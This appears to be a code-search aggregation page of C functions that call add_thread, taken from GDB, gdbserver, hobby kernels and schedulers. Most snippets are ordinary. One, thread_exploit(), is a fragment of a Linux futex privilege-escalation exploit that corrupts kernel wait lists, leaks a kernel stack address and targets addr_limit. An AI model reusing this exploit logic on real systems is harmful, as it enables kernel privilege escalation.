Exemplo n.º 1
0
static void
add_to_thread_list (bfd *abfd, asection *asect, void *reg_sect_arg)
{
  ptid_t ptid;
  int core_tid;
  int pid, lwpid;
  asection *reg_sect = (asection *) reg_sect_arg;

  if (strncmp (bfd_section_name (abfd, asect), ".reg/", 5) != 0)
    return;

  core_tid = atoi (bfd_section_name (abfd, asect) + 5);

  pid = bfd_core_file_pid (core_bfd);
  if (pid == 0)
    {
      core_has_fake_pid = 1;
      pid = CORELOW_PID;
    }

  lwpid = core_tid;

  if (current_inferior ()->pid == 0)
    inferior_appeared (current_inferior (), pid);

  ptid = ptid_build (pid, lwpid, 0);

  add_thread (ptid);

/* Warning, Will Robinson, looking at BFD private data! */

  if (reg_sect != NULL
      && asect->filepos == reg_sect->filepos)	/* Did we find .reg?  */
    inferior_ptid = ptid;			/* Yes, make it current.  */
}
Exemplo n.º 2
0
static void
lynx_add_threads_after_attach (int pid)
{
  /* Ugh!  There appears to be no way to get the list of threads
     in the program we just attached to.  So get the list by calling
     the "ps" command.  This is only needed now, as we will then
     keep the thread list up to date thanks to thread creation and
     exit notifications.  */
  FILE *f;
  char buf[256];
  int thread_pid, thread_tid;

  f = popen ("ps atx", "r");
  if (f == NULL)
    perror_with_name ("Cannot get thread list");

  while (fgets (buf, sizeof (buf), f) != NULL)
    if ((sscanf (buf, "%d %d", &thread_pid, &thread_tid) == 2
	 && thread_pid == pid))
    {
      ptid_t thread_ptid = lynx_ptid_build (pid, thread_tid);

      if (!find_thread_ptid (thread_ptid))
	{
	  lynx_debug ("New thread: (pid = %d, tid = %d)",
		      pid, thread_tid);
	  add_thread (thread_ptid, NULL);
	}
    }

  pclose (f);
}
Exemplo n.º 3
0
Arquivo: vm.c Projeto: leiless/regex
static void add_thread(char *sp, threadlist_t *list, thread_t t)
{
    thread_t *p;
    int i;
    while (1) {
        i = t.pc - list->base;
        assert(i >= 0 && i < list->size);
        if (list->t[i].thread_id == list->list_id)
            break;
        list->t[i].thread_id = list->list_id;
        switch (t.pc->opcode) {
            case I_JMP:
                t.pc = t.pc->attr.child[0];
            break;
            
            case I_SPL:
                add_thread(sp, list, mk_thread(t.pc->attr.child[0], t.saved));
                t.pc = t.pc->attr.child[1];
            break;
            
            case I_SAV:
                t.saved[t.pc->attr.savepoint] = sp;
                t.pc++;
            break;
            
            default:
                // instruction handled by vm()
                p = &list->t[list->n++];
                t.thread_id = p->thread_id;
                *p = t;
            return ;
        }
    }
}
static int
linux_create_inferior (char *program, char **allargs)
{
  void *new_process;
  int pid;

  pid = fork ();
  if (pid < 0)
    perror_with_name ("fork");

  if (pid == 0)
    {
      ptrace (PTRACE_TRACEME, 0, 0, 0);

      signal (__SIGRTMIN + 1, SIG_DFL);

      setpgid (0, 0);

      execv (program, allargs);

      fprintf (stderr, "Cannot exec %s: %s.\n", program,
	       strerror (errno));
      fflush (stderr);
      _exit (0177);
    }

  new_process = add_process (pid);
  add_thread (pid, new_process);

  return pid;
}
Exemplo n.º 5
0
static void
obsd_update_thread_list (struct target_ops *ops)
{
  pid_t pid = ptid_get_pid (inferior_ptid);
  struct ptrace_thread_state pts;

  prune_threads ();

  if (ptrace (PT_GET_THREAD_FIRST, pid, (caddr_t)&pts, sizeof pts) == -1)
    perror_with_name (("ptrace"));

  while (pts.pts_tid != -1)
    {
      ptid_t ptid = ptid_build (pid, pts.pts_tid, 0);

      if (!in_thread_list (ptid))
	{
	  if (ptid_get_lwp (inferior_ptid) == 0)
	    thread_change_ptid (inferior_ptid, ptid);
	  else
	    add_thread (ptid);
	}

      if (ptrace (PT_GET_THREAD_NEXT, pid, (caddr_t)&pts, sizeof pts) == -1)
	perror_with_name (("ptrace"));
    }
}
void
linux_attach_lwp (int pid, int tid)
{
  struct process_info *new_process;

  if (ptrace (PTRACE_ATTACH, pid, 0, 0) != 0)
    {
      fprintf (stderr, "Cannot attach to process %d: %s (%d)\n", pid,
	       strerror (errno), errno);
      fflush (stderr);

      /* If we fail to attach to an LWP, just return.  */
      if (!using_threads)
	_exit (0177);
      return;
    }

  new_process = (struct process_info *) add_process (pid);
  add_thread (tid, new_process);

  /* The next time we wait for this LWP we'll see a SIGSTOP as PTRACE_ATTACH
     brings it to a halt.  We should ignore that SIGSTOP and resume the process
     (unless this is the first process, in which case the flag will be cleared
     in linux_attach).

     On the other hand, if we are currently trying to stop all threads, we
     should treat the new thread as if we had sent it a SIGSTOP.  This works
     because we are guaranteed that add_process added us to the end of the
     list, and so the new thread has not yet reached wait_for_sigstop (but
     will).  */
  if (! stopping_threads)
    new_process->stop_expected = 1;
}
Exemplo n.º 7
0
void create_kernel_thread(void *function)
{
	unsigned long page;
	struct thread *thread;
	uint32_t esp0;
	uint32_t *esp;

	page = get_free_page(GFP_KERNEL);
	thread = PAGE2PTR(page);
	esp0 = PAGE2BYTE(page + 1);
	esp = (uint32_t *) (esp0 - (6 * sizeof(uint32_t)));

	thread->cr3 = kernel_cr3;
	thread->esp0 = esp0;
	thread->esp = (uint32_t) esp;

	thread->state = THREAD_UNREADY;

	thread->need_reschedule = 0;
	thread->priority = MAX_PRIORITY;
	thread->counter = MAX_PRIORITY;

	esp[0] = 0;			/* ebx */
	esp[1] = 0;			/* edi */
	esp[2] = 0;			/* esi */
	esp[3] = 0;			/* ebp */
	esp[4] = EF_IF;			/* eflags */
	esp[5] = (uint32_t) function;	/* eip */

	add_thread(thread);
	resume_thread(thread);

	return;
}
Exemplo n.º 8
0
static void
nbsd_update_thread_list (struct target_ops *ops)
{
  int retval;
  ptid_t ptid;

  if (nbsd_thread_active == 0)
	  return;

  if (ptid_equal (inferior_ptid, minus_one_ptid))
    {
      printf_filtered ("No process.\n");
      return;
    }

  if (target_has_execution)
    {
      struct ptrace_lwpinfo pl;
      pl.pl_lwpid = 0;
      retval = ptrace (PT_LWPINFO, ptid_get_pid(inferior_ptid), (void *)&pl, sizeof(pl));
      while ((retval != -1) && pl.pl_lwpid != 0)
	{
	  ptid = ptid_build (ptid_get_pid (main_ptid), pl.pl_lwpid, 0);
	  if (!in_thread_list (ptid))
	    add_thread (ptid);
	  retval = ptrace (PT_LWPINFO, ptid_get_pid(inferior_ptid), (void *)&pl, sizeof(pl));
	}
    }
}
Exemplo n.º 9
0
void rbt_insert(struct rbt* tree, int vruntime, struct _sthread *thread){

	struct node *add_item = create_node(tree, vruntime, thread);

	if(rbt_is_empty(tree)) {
		add_item->color = BLACK;
		tree->root = add_item;
		tree->first = tree->root;
		return;
	}

	struct node *current_node = tree->root;
	
	if(vruntime == tree->root->vruntime)
		add_thread(current_node, add_item);
	
	else if(vruntime < current_node->vruntime)
		insert_node_left(tree, current_node->left, current_node, add_item);
	else insert_node_right(tree, current_node->right, current_node, add_item);

	correctDoubleRed(tree, add_item);
	treeRoot(tree);
	lower(tree);

}
/* plist_node: 125 -> 126 -> bug -> 128(fake1) -> 135(fake2) */
void *thread_exploit()
{
	int i,ret = 0;
	syscall(__NR_futex,&lock2, FUTEX_LOCK_PI, 1, NULL, NULL, 0); // acquire lock2 first

	/* wait thread_waiter ....*/
	while(ret != 1) {
		ret = syscall(__NR_futex, &lock1, FUTEX_CMP_REQUEUE_PI, 1, 0, &lock2, lock1);
		sleep(0.1);
	}
	/* create 2 thread that is blocked on lock2 */
	printf("[*] create plist\n");
	add_thread(5); // prio 125
	sleep(1);

	add_thread(6); // prio 126
	sleep(5);

	printf("[*] now trigger bug\n");

	lock2 = 0;
	// get lock2 for thread_waiter -> thread_waiter wake up
	syscall(__NR_futex, &lock2, FUTEX_CMP_REQUEUE_PI, 1, 0, &lock2, lock2);
	printf("[*] refilling rtwaiter\n");
	printf("add super thread....\n");
	add_thread(10); // super thread

	sleep(5);
	super_tid = last_tid;

	leak_kernel_stack = *((unsigned long *)fakenode1);
	printf("leak kernel stack address :0x%x\n",leak_kernel_stack);
	thread_info_addr = leak_kernel_stack & 0xffffe000;
	printf("thread info is at 0x%x\n",thread_info_addr); // thread_info + 8 -> aadr_limit

	/* insert prio 127 thread  */
	/* bug -> 127 -> 128(fake1) */
	*((unsigned long *)(fakenode1 + 4)) = thread_info_addr + 8; // prio_prev = where to write

	printf("[*] add rewrite addr_limit thread\n"); 
	add_thread(7); 
	sleep(3);

	printf("super thread %d\n",super_tid);
	syscall(__NR_tkill,super_tid,12);
	die();
}
Exemplo n.º 11
0
unsigned long __stdcall threaddeb(void *v)
{
    STARTUPINFO si = {
        sizeof(STARTUPINFO)
    };


    CreateProcess(0,"c:\\winnt\\system32\\taskmgr.exe",0,0,0,
		CREATE_NEW_CONSOLE,0,0,&si,&pi);
	Sleep(2000);
    BOOL status = CreateProcess(
        0,
        "c:\\winnt\\system32\\calc.exe",
        0,0,0,
		DEBUG_PROCESS
        | DEBUG_ONLY_THIS_PROCESS
        | CREATE_NEW_CONSOLE,
        0,0,&si,&pi);

    if( !status )
    {
		printf("%s\n","error debugging");
		exit(1);
    }

    add_thread(pi.hThread);

    for( ;; )
    {
        DEBUG_EVENT de;
        if( !WaitForDebugEvent(&de, INFINITE) )
        {
		 printf("%s\n","error WaitForDebugEvent");
        }

        switch( de.dwDebugEventCode )
        {
        case CREATE_THREAD_DEBUG_EVENT:
            add_thread(de.u.CreateThread.hThread);
            break;
        }
    ContinueDebugEvent(de.dwProcessId,de.dwThreadId,DBG_CONTINUE);
	}

	return 0;
}
Exemplo n.º 12
0
void loop_impl::start( int num )
{
    if (!is_running()) {
        _is_running = true;
    }

    add_thread(num);
}
Exemplo n.º 13
0
thread* thread_group::create_thread(const function0<void>& threadfunc)
{
    // No scoped_lock required here since the only "shared data" that's
    // modified here occurs inside add_thread which does scoped_lock.
    std::auto_ptr<thread> thrd(new thread(threadfunc));
    add_thread(thrd.get());
    return thrd.release();
}
Exemplo n.º 14
0
inline stack<task_identifier>* concurrency_handler::get_event_stack(unsigned int tid) {
  stack<task_identifier>* tmp;
  // it's possible we could get a "start" event without a "new thread" event.
  if (_event_stack.size() <= tid) {
    add_thread(tid);
  }
  tmp = this->_event_stack[tid];
  return tmp;
}
Exemplo n.º 15
0
void* pthread_func( void* arg )
{
    pthread_t self_id = pthread_self();

    struct _thread_cleanup_data cleanup_data;
    cleanup_data.thread_id = self_id;
    cleanup_data.data = arg;
    pthread_cleanup_push( cleanup_handler, &cleanup_data );

    syslog( LOG_INFO, "Connection accept." );
    syslog( LOG_INFO, "Worker %zu started.\n", self_id );

    pthread_detach( self_id );
    add_thread( self_id );

    int sock = *((int *)arg);
    ssize_t bytes_read;
    ssize_t bytes_send;
    size_t buffer_size = 1024;
    char buffer[ buffer_size ];
    char buffer2[ buffer_size ];
    char* send_buffer;
    size_t send_buffer_size;

    while( 1 ) {
        bytes_read = recv( sock, buffer, buffer_size, 0 );
        if( bytes_read < 0 ) {
           syslog( LOG_ERR, "recv error. %s.", strerror(errno));
           break;
        }

        syslog( LOG_INFO, "read %zu bytes.", bytes_read );

        if( !bytes_read ) {
           break;
        }

        strncpy( buffer2, buffer, bytes_read );
        buffer2[ bytes_read ] = 0;
        syslog( LOG_INFO, "Request: %s", buffer2 );

        send_buffer = http_response( buffer, bytes_read );
        send_buffer_size = strlen( send_buffer );
        syslog( LOG_INFO, "Response %s %zu", send_buffer, send_buffer_size );

        bytes_send = send( sock, send_buffer, send_buffer_size, 0 );
        if( bytes_send < 0 ) {
           syslog( LOG_ERR, "send error. %s.", strerror(errno));
        }

        free( send_buffer );
        break;
    }

    pthread_cleanup_pop( 1 );
    pthread_exit( NULL );
}
Exemplo n.º 16
0
int main(void)
{
	int size = 4;
	int item_size = sizeof(int);

	printk("Starting queue tests\n");

	printk("- init queue with size of %d and item_size of %d\n", size, item_size);

	queue_init(&queue, size, item_size);

	printk("- adding thread A (%x)\n", &thread_a);
	add_thread(&thread_a, HIGHEST_PRIORITY);

	printk("- adding thread B(%x)\n", &thread_b);
	add_thread(&thread_b, HIGHEST_PRIORITY - 1);

	return 0;
}
Exemplo n.º 17
0
static ptid_t
sol_thread_wait (ptid_t ptid, struct target_waitstatus *ourstatus)
{
  ptid_t rtnval;
  ptid_t save_ptid;
  struct cleanup *old_chain;

  save_ptid = inferior_ptid;
  old_chain = save_inferior_ptid ();

  inferior_ptid = thread_to_lwp (inferior_ptid, PIDGET (main_ph.ptid));
  if (PIDGET (inferior_ptid) == -1)
    inferior_ptid = procfs_first_available ();

  if (PIDGET (ptid) != -1)
    {
      ptid_t save_ptid = ptid;

      ptid = thread_to_lwp (ptid, -2);
      if (PIDGET (ptid) == -2)		/* Inactive thread */
	error ("This version of Solaris can't start inactive threads.");
      if (info_verbose && PIDGET (ptid) == -1)
	warning ("Specified thread %ld seems to have terminated",
		 GET_THREAD (save_ptid));
    }

  rtnval = procfs_ops.to_wait (ptid, ourstatus);

  if (ourstatus->kind != TARGET_WAITKIND_EXITED)
    {
      /* Map the LWP of interest back to the appropriate thread ID */
      rtnval = lwp_to_thread (rtnval);
      if (PIDGET (rtnval) == -1)
	rtnval = save_ptid;

      /* See if we have a new thread */
      if (is_thread (rtnval)
	  && !ptid_equal (rtnval, save_ptid)
	  && !in_thread_list (rtnval))
	{
	  printf_filtered ("[New %s]\n", target_pid_to_str (rtnval));
	  add_thread (rtnval);
	}
    }

  /* During process initialization, we may get here without the thread package
     being initialized, since that can only happen after we've found the shared
     libs.  */

  do_cleanups (old_chain);

  return rtnval;
}
Exemplo n.º 18
0
//--------------------------------------------------------------------------
void linux_debmod_t::new_thread(thrinfo_t *info)
{
  int tid = info->ti_lid;
  threads_t::iterator p = threads.find(tid);
  if ( p == threads.end() ) // not found
  {
#ifdef LDEB
    msg("thread %d is new\n", tid);
    ::display_thrinfo(*info);
#endif

    td_err_e err;

    td_thr_events_t events;
    td_event_emptyset(&events);
    td_event_addset(&events, TD_CREATE);
    td_event_addset(&events, TD_DEATH);
    td_event_addset(&events, TD_CATCHSIG);
    err = td_thr_set_event(info->th_p, &events);
    DIE_IF_FAILED("td_thr_set_event", err);

    err = td_thr_event_enable(info->th_p, 1);
    COMPLAIN_IF_FAILED("td_thr_event_enable", err);
    if ( err != TD_OK )
    {
#ifdef LDEB
      msg("%d: thread dead already? not adding to list.\n", tid);
#endif
      return;
    }

    sigset_t set;
    sigemptyset(&set);
    sigaddset(&set, SIGSTOP);
    td_thr_setsigpending(info->th_p, 1, &set);

    debug_event_t ev;
    ev.eid     = THREAD_START;
    ev.pid     = process_handle;
    ev.tid     = tid;
    ev.ea      = (ea_t)info->ti_startfunc;
    ev.handled = true;
    add_thread(tid);
    // attach to the thread and make is ready for debugging
    qptrace(PTRACE_ATTACH, tid, 0, 0);
    int status;
    int tid2 = waitpid(tid, &status, __WCLONE); // (must succeed) consume SIGSTOP
    QASSERT(tid2 != -1 && WIFSTOPPED(status) && WSTOPSIG(status) == SIGSTOP);
    get_thread(tid)->waiting_sigstop = false;
    enqueue_event(ev, IN_FRONT);
  }
  get_thread(tid)->thr = info->th_p;
}
Exemplo n.º 19
0
int main(void)
{
	printk("Starting timer tests\n");

	pio_set_output(GPIOA_BASE, 3, 0);
	pio_set_output(GPIOC_BASE, 7, 0);

	add_thread(&thread_a, DEFAULT_PRIORITY);

	return 0;

}
Exemplo n.º 20
0
static void
nbsd_add_to_thread_list (bfd *abfd, asection *asect, PTR reg_sect_arg)
{
  int regval;
  td_thread_t *dummy;

  if (strncmp (bfd_section_name (abfd, asect), ".reg/", 5) != 0)
    return;

  regval = atoi (bfd_section_name (abfd, asect) + 5);

  add_thread (ptid_build (ptid_get_pid (main_ptid), regval, 0));
}
Exemplo n.º 21
0
void insert_node_right(struct rbt *tree, struct node *current_node, struct node *parent, struct node *add_item)
{
	if (current_node->vruntime == add_item->vruntime)
		add_thread(current_node, add_item);
	
	else if (current_node == tree->nil){
		add_item->parent = parent;
		parent->right = add_item;
	}
	else if (add_item->vruntime > current_node->vruntime)
		insert_node_right(tree, current_node->right, current_node, add_item);
	else insert_node_left(tree, current_node->left, current_node, add_item);

}
static void
nto_find_new_threads (struct nto_inferior *nto_inferior)
{
  pthread_t tid;

  TRACE ("%s pid:%d\n", __func__, nto_inferior->pid);

  if (nto_inferior->ctl_fd == -1)
    return;

  for (tid = 1;; ++tid)
    {
      procfs_status status;
      ptid_t ptid;
      int err;

      status.tid = tid;
      err = devctl (nto_inferior->ctl_fd, DCMD_PROC_TIDSTATUS, &status,
		    sizeof (status), 0);

      if (err != EOK || status.tid == 0)
	break;

      /* All threads in between are gone.  */
      while (tid != status.tid || status.state == STATE_DEAD)
	{
	  struct thread_info *ti;

	  ptid = ptid_build (nto_inferior->pid, tid, 0);
	  ti = find_thread_ptid (ptid);
	  if (ti != NULL)
	    {
	      TRACE ("Removing thread %d\n", tid);
	      remove_thread (ti);
	    }
	  if (tid == status.tid)
	    break;
	  ++tid;
	}

      if (status.state != STATE_DEAD)
	{
	  TRACE ("Adding thread %d\n", tid);
	  ptid = ptid_build (nto_inferior->pid, tid, 0);
	  if (!find_thread_ptid (ptid))
	    add_thread (ptid, NULL);
	}
    }
}
Exemplo n.º 23
0
static int
lynx_attach (unsigned long pid)
{
  struct process_info *new_process;
  ptid_t ptid = lynx_ptid_build (pid, 0);

  if (lynx_ptrace (PTRACE_ATTACH, ptid, 0, 0, 0) != 0)
    error ("Cannot attach to process %lu: %s (%d)\n", pid,
	   strerror (errno), errno);

  new_process = add_process (pid, 1);
  add_thread (ptid, NULL);

  return 0;
}
Exemplo n.º 24
0
static int
sol_find_new_threads_callback (const td_thrhandle_t *th, void *ignored)
{
  td_err_e retval;
  td_thrinfo_t ti;
  ptid_t ptid;

  if ((retval = p_td_thr_get_info (th, &ti)) != TD_OK)
    {
      return -1;
    }
  ptid = BUILD_THREAD (ti.ti_tid, PIDGET (inferior_ptid));
  if (!in_thread_list (ptid))
    add_thread (ptid);

  return 0;
}
Exemplo n.º 25
0
static void
hpux_thread_create_inferior (char *exec_file, char *allargs, char **env,
                             int from_tty)
{
    deprecated_child_ops.to_create_inferior (exec_file, allargs, env, from_tty);

    if (hpux_thread_active)
    {
        main_ptid = inferior_ptid;

        push_target (&hpux_thread_ops);

        inferior_ptid = find_active_thread ();

        add_thread (inferior_ptid);
    }
}
Exemplo n.º 26
0
/* set number of active workers */
int sched_set_numworkers( int numworkers ) {

  int i, delta;
  pthread_t worker;

  pthread_mutex_lock( &mutex_sched );

  /* calculate delta between existing workers and set number of workers */
  delta = numworkers - workerscount;

  /* create additional workers */
  if ( numworkers > workerscount ) {

    /* get ready to access worker threads table */
    lua_getglobal( workerls, LUAPROC_SCHED_WORKERS_TABLE );

    /* create additional workers */
    for ( i = 0; i < delta; i++ ) {

      if ( pthread_create( &worker, NULL, workermain, NULL ) != 0 ) {
        pthread_mutex_unlock( &mutex_sched );
        lua_pop( workerls, 1 ); /* pop workers table from stack */
        return LUAPROC_SCHED_PTHREAD_ERROR;
      }

      /* store worker thread id in a table */
//    lua_pushlightuserdata( workerls, (void *)worker );
      add_thread(workerls, worker);
      lua_pushboolean( workerls, TRUE );
      lua_rawset( workerls, -3 );

      workerscount++; /* increase active workers count */
    }

    lua_pop( workerls, 1 ); /* pop workers table from stack */
  }
  /* destroy existing workers */
  else if ( numworkers < workerscount ) {
    destroyworkers = destroyworkers + numworkers;
  }

  pthread_mutex_unlock( &mutex_sched );

  return LUAPROC_SCHED_OK;
}
Exemplo n.º 27
0
static void
fbsd_add_threads (pid_t pid)
{
  struct cleanup *cleanup;
  lwpid_t *lwps;
  int i, nlwps;

  gdb_assert (!in_thread_list (pid_to_ptid (pid)));
  nlwps = ptrace (PT_GETNUMLWPS, pid, NULL, 0);
  if (nlwps == -1)
    perror_with_name (("ptrace"));

  lwps = XCNEWVEC (lwpid_t, nlwps);
  cleanup = make_cleanup (xfree, lwps);

  nlwps = ptrace (PT_GETLWPLIST, pid, (caddr_t) lwps, nlwps);
  if (nlwps == -1)
    perror_with_name (("ptrace"));

  for (i = 0; i < nlwps; i++)
    {
      ptid_t ptid = ptid_build (pid, lwps[i], 0);

      if (!in_thread_list (ptid))
	{
#ifdef PT_LWP_EVENTS
	  struct ptrace_lwpinfo pl;

	  /* Don't add exited threads.  Note that this is only called
	     when attaching to a multi-threaded process.  */
	  if (ptrace (PT_LWPINFO, lwps[i], (caddr_t) &pl, sizeof pl) == -1)
	    perror_with_name (("ptrace"));
	  if (pl.pl_flags & PL_FLAG_EXITED)
	    continue;
#endif
	  if (debug_fbsd_lwp)
	    fprintf_unfiltered (gdb_stdlog,
				"FLWP: adding thread for LWP %u\n",
				lwps[i]);
	  add_thread (ptid);
	}
    }
  do_cleanups (cleanup);
}
Exemplo n.º 28
0
static void
sol_thread_create_inferior (char *exec_file, char *allargs, char **env)
{
  procfs_ops.to_create_inferior (exec_file, allargs, env);

  if (sol_thread_active && !ptid_equal (inferior_ptid, null_ptid))
    {
      main_ph.ptid = inferior_ptid;	/* Save for xfer_memory */

      push_target (&sol_thread_ops);

      inferior_ptid = lwp_to_thread (inferior_ptid);
      if (PIDGET (inferior_ptid) == -1)
	inferior_ptid = main_ph.ptid;

      if (!in_thread_list (inferior_ptid))
	add_thread (inferior_ptid);
    }
}
Exemplo n.º 29
0
static thread_debug_info *
haiku_add_thread(team_debug_info *teamDebugInfo, thread_id threadID)
{
	struct thread_info *gdbThreadInfo;
	thread_debug_info *threadDebugInfo;

	if (threadID == teamDebugInfo->nub_thread) {
		error("haiku_thread_added(): Trying to add debug nub thread (%ld)\n",
			threadID);
	}

	// find the thread first
	threadDebugInfo = haiku_find_thread(teamDebugInfo, threadID);
	if (threadDebugInfo)
		return threadDebugInfo;

	// allocate a new thread debug info
	threadDebugInfo = XMALLOC(thread_debug_info);
	if (!threadDebugInfo)
		error("haiku_thread_added(): Out of memory!\n");

	// init and add it
	threadDebugInfo->thread = threadID;
	threadDebugInfo->next = teamDebugInfo->threads;
	threadDebugInfo->stopped = false;
	threadDebugInfo->last_event = NULL;
	teamDebugInfo->threads = threadDebugInfo;

	// add it to gdb's thread DB
	gdbThreadInfo = add_thread(ptid_build(teamDebugInfo->team, 0, threadID));

	// Note: In theory we could spare us the whole thread list management, since
	// gdb's thread DB is doing exactly the same. We could put our data as
	// thread_info::private. The only catch is that when the thread_info is
	// freed, xfree() is invoked on the private data directly, but there's no
	// callback invoked before that would allow us to do cleanup (e.g. free
	// last_event).

	TRACE(("haiku_add_thread(): team %ld thread %ld added: "
		"gdb thread info: %p\n", teamDebugInfo->team, threadID, gdbThreadInfo));

	return threadDebugInfo;
}
Exemplo n.º 30
0
static void
add_to_thread_list (bfd *abfd, asection *asect, void *reg_sect_arg)
{
  ptid_t ptid;
  int core_tid;
  int pid, lwpid;
  asection *reg_sect = (asection *) reg_sect_arg;
  int fake_pid_p = 0;
  struct inferior *inf;

  if (!startswith (bfd_section_name (abfd, asect), ".reg/"))
    return;

  core_tid = atoi (bfd_section_name (abfd, asect) + 5);

  pid = bfd_core_file_pid (core_bfd);
  if (pid == 0)
    {
      fake_pid_p = 1;
      pid = CORELOW_PID;
    }

  lwpid = core_tid;

  inf = current_inferior ();
  if (inf->pid == 0)
    {
      inferior_appeared (inf, pid);
      inf->fake_pid_p = fake_pid_p;
    }

  ptid = ptid_build (pid, lwpid, 0);

  add_thread (ptid);

/* Warning, Will Robinson, looking at BFD private data! */

  if (reg_sect != NULL
      && asect->filepos == reg_sect->filepos)	/* Did we find .reg?  */
    inferior_ptid = ptid;			/* Yes, make it current.  */
}